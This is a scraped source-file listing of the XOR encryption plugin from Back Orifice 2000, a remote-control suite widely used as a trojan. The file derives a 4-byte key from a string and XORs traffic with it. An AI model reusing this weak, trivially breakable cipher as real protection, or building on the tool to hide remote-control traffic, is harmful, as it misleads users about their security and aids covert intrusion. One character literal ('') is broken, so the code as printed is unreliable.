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xorencrypt.cpp
Package: bo2ksrc.zip [view]
Upload User: jinandeyu
Upload Date: 2007-01-05
Package Size: 620k
Code Size: 6k
Category:
Remote Control
Development Platform:
WINDOWS
- /* Back Orifice 2000 - Remote Administration Suite
- Copyright (C) 1999, Cult Of The Dead Cow
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- The author of this program may be contacted at dildog@l0pht.com. */
- #include<windows.h>
- #include<encryption.h>
- #include<config.h>
- #define LROTL(dw,c) (((DWORD)dw<<c) | ((DWORD)dw>>(32-c)))
- #ifdef NDEBUG
- char g_szXOREncryptOptions[]="<**CFG**>XOR"
- "S[45]:XOR Key=";
- #else
- char g_szXOREncryptOptions[]="<**CFG**>XOR"
- "S[45]:XOR Key=No rest for the wicked.";
- #endif
- ENCRYPTION_ENGINE g_XORengine={NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL};
- typedef struct {
- DWORD dwXORKey;
- char svXORKey[46];
- } XORENCRYPT_DATA;
- int __cdecl XOREncrypt_Insert(void);
- int __cdecl XOREncrypt_Remove(void);
- char * __cdecl XOREncrypt_Query(void);
- void * __cdecl XOREncrypt_Startup(void);
- int __cdecl XOREncrypt_Shutdown(void *pInternal);
- int __cdecl XOREncrypt_SetEncryptKey(void *pInternal, char *pKey);
- int __cdecl XOREncrypt_SetDecryptKey(void *pInternal, char *pKey);
- char * __cdecl XOREncrypt_GetEncryptKey(void *pInternal);
- char * __cdecl XOREncrypt_GetDecryptKey(void *pInternal);
- BYTE * __cdecl XOREncrypt_Encrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);
- BYTE * __cdecl XOREncrypt_Decrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);
- int __cdecl XOREncrypt_CreateNewKeys(void *pInternal);
- void __cdecl XOREncrypt_Free(void *pInternal, BYTE *pBuffer);
- int __cdecl XOREncrypt_Insert(void)
- {
- char *svKey=GetCfgStr(g_szXOREncryptOptions,"XOR Key");
- if(svKey==NULL) return -1;
- return 0;
- }
- int __cdecl XOREncrypt_Remove(void)
- {
- return 0;
- }
- char * __cdecl XOREncrypt_Query(void)
- {
- return "XOR: BO2K Simple XOR Encryption";
- }
- void * __cdecl XOREncrypt_Startup(void)
- {
- char *svKey=GetCfgStr(g_szXOREncryptOptions,"XOR Key");
- if(svKey==NULL) return NULL;
- if(svKey[0]=='') return NULL;
- XORENCRYPT_DATA *data;
- data=(XORENCRYPT_DATA *)malloc(sizeof(XORENCRYPT_DATA));
- if(data==NULL) return NULL;
- XOREncrypt_SetEncryptKey((void *)data,svKey);
- return data;
- }
- int __cdecl XOREncrypt_Shutdown(void *pInternal)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- free(data);
- return 0;
- }
- int __cdecl XOREncrypt_SetEncryptKey(void *pInternal, char *svKey)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- char *svKeyPtr=svKey;
- DWORD key;
- key=0xCDC31337;
- while((*svKeyPtr)!=0) {
- key=LROTL(key,8);
- key+=(*svKeyPtr);
- svKeyPtr++;
- }
- data->dwXORKey=key;
- lstrcpyn(data->svXORKey,svKey,46);
- return 0;
- }
- int __cdecl XOREncrypt_SetDecryptKey(void *pInternal, char *svKey)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- char *svKeyPtr=svKey;
- DWORD key;
- key=0xCDC31337;
- while((*svKeyPtr)!=0) {
- key=LROTL(key,8);
- key+=(*svKeyPtr);
- svKeyPtr++;
- }
- data->dwXORKey=key;
- lstrcpyn(data->svXORKey,svKey,46);
- return 0;
- }
- char * __cdecl XOREncrypt_GetEncryptKey(void *pInternal)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- return data->svXORKey;
- }
- char * __cdecl XOREncrypt_GetDecryptKey(void *pInternal)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- return data->svXORKey;
- }
- BYTE * __cdecl XOREncrypt_Encrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- BYTE *buf;
- int i;
- buf=(BYTE *)malloc(nBufLen);
- if(buf==NULL) return NULL;
- for(i=0;i<nBufLen;i++) {
- buf[i]=(pBuffer[i] ^ (BYTE)(data->dwXORKey >> (8*(i&3))) );
- }
- *pnOutBufLen=nBufLen;
- return buf;
- }
- BYTE * __cdecl XOREncrypt_Decrypt(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- BYTE *buf;
- int i;
- buf=(BYTE *)malloc(nBufLen);
- if(buf==NULL) return NULL;
- for(i=0;i<nBufLen;i++) {
- buf[i]=(pBuffer[i] ^ (BYTE)(data->dwXORKey >> (8*(i&3))) );
- }
- *pnOutBufLen=nBufLen;
- return buf;
- }
- int __cdecl XOREncrypt_CreateNewKeys(void *pInternal)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- return 0;
- }
- void __cdecl XOREncrypt_Free(void *pInternal, BYTE *pBuffer)
- {
- XORENCRYPT_DATA *data=(XORENCRYPT_DATA *)pInternal;
- free(pBuffer);
- }
- ENCRYPTION_ENGINE *GetXOREncryptionEngine(void)
- {
- g_XORengine.pInsert=XOREncrypt_Insert;
- g_XORengine.pRemove=XOREncrypt_Remove;
- g_XORengine.pQuery=XOREncrypt_Query;
- g_XORengine.pStartup=XOREncrypt_Startup;
- g_XORengine.pShutdown=XOREncrypt_Shutdown;
- g_XORengine.pSetEncryptKey=XOREncrypt_SetEncryptKey;
- g_XORengine.pSetDecryptKey=XOREncrypt_SetDecryptKey;
- g_XORengine.pGetEncryptKey=XOREncrypt_GetEncryptKey;
- g_XORengine.pGetDecryptKey=XOREncrypt_GetDecryptKey;
- g_XORengine.pEncrypt=XOREncrypt_Encrypt;
- g_XORengine.pDecrypt=XOREncrypt_Decrypt;
- g_XORengine.pCreateNewKeys=XOREncrypt_CreateNewKeys;
- g_XORengine.pFree=XOREncrypt_Free;
- return &g_XORengine;
- }